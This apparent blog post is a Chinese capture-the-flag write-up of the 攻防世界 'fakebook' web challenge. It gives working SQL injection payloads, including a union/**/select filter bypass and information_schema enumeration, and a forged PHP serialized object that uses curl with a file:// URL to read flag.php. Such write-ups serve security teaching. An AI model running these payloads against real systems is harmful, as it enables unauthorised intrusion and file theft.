当前位置：首页 > news >正文

攻防世界——Web题 fakebook

news 来源：原创 2025/5/23 11:34:57

首先测试网站的功能，当我注册一个账号时，发现这里的链接：

点进去看到URL：

感觉no这个地方可以尝试一下sql注入

推测应该是数字型注入

发现果然可以进行sql注入，最终测得列数应该是4列，但当我尝试sql注入时，发现有过滤：

在绕过的同时，我开始扫目录。判断过滤的时候，我猜测是对传入no参数的值进行检验，当我单独传入 union 或者 select 的时候，都只会显示语法错误，而当我传入union select 时，才会显示hack：

于是猜测这里应该是对 union select 整体的一个绕过，如果使用 union/**/select ，发现可以绕过

此外，发现了一个函数 unserilize()，先放在这，至少可以看到回显处：2

?no=-1 union/**/select 1,database(),3,4 --
# 得到库名 fakebook

?no=-1 union/**/select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3,4--
# 得到表名 users

?no=-1 union/**/select 1,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='users'),3,4--
# 得到字段名： no username passwd data

?no=-1 union/**/select 1,(select group_concat('~',data)from fakebook.users),3,4 --
# 得到data值
~O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:14:"http://123.com";},

到这一步有什么用呢？暂时没什么头绪。

之前扫描目录的结果也拿到了，发现有很多可以访问的文件：

首先看 robots.txt 文件：

可以看到有一个压缩文件，访问该文件可以下载到源码：

<?php
class UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age =(int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch); # 执行一个curl请求$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);# 注意这个地方，使用get函数的是blog}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}
}

发现这里有 curl ，可执行请求并返回响应内容，这里我想到的就是搭配file://进行读取了，还有一个原因是：当我访问flag.php、db.php等等，发现返回的内容都为空，但这里应该就是flag.php!

其次，发现上面使用get函数的是 blog ，也就是说我们需要通过blog来发起请求：

blog:file:///var/www/html/flag.php

怎么传呢？回忆一下我们之前得到的字段顺序，分别为：no username passwd data

而我们正是读取了data的值，data返回一段序列化信息，但又显示有反序列化函数unserilize。如果直接使用data传入序列化字符串，是不是就能经反序列化函数解析为UserInfo对象，从而读取该对象的blog值，执行请求并返回响应内容呢！于是可以这样构造：

直接利用我们之前得到的序列化字符串：

O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:14:"http://123.com";},

将其稍微修改：
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";},

然后就可以构造请求了，我们要传入第四个字段data的值，所以这样构造：
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'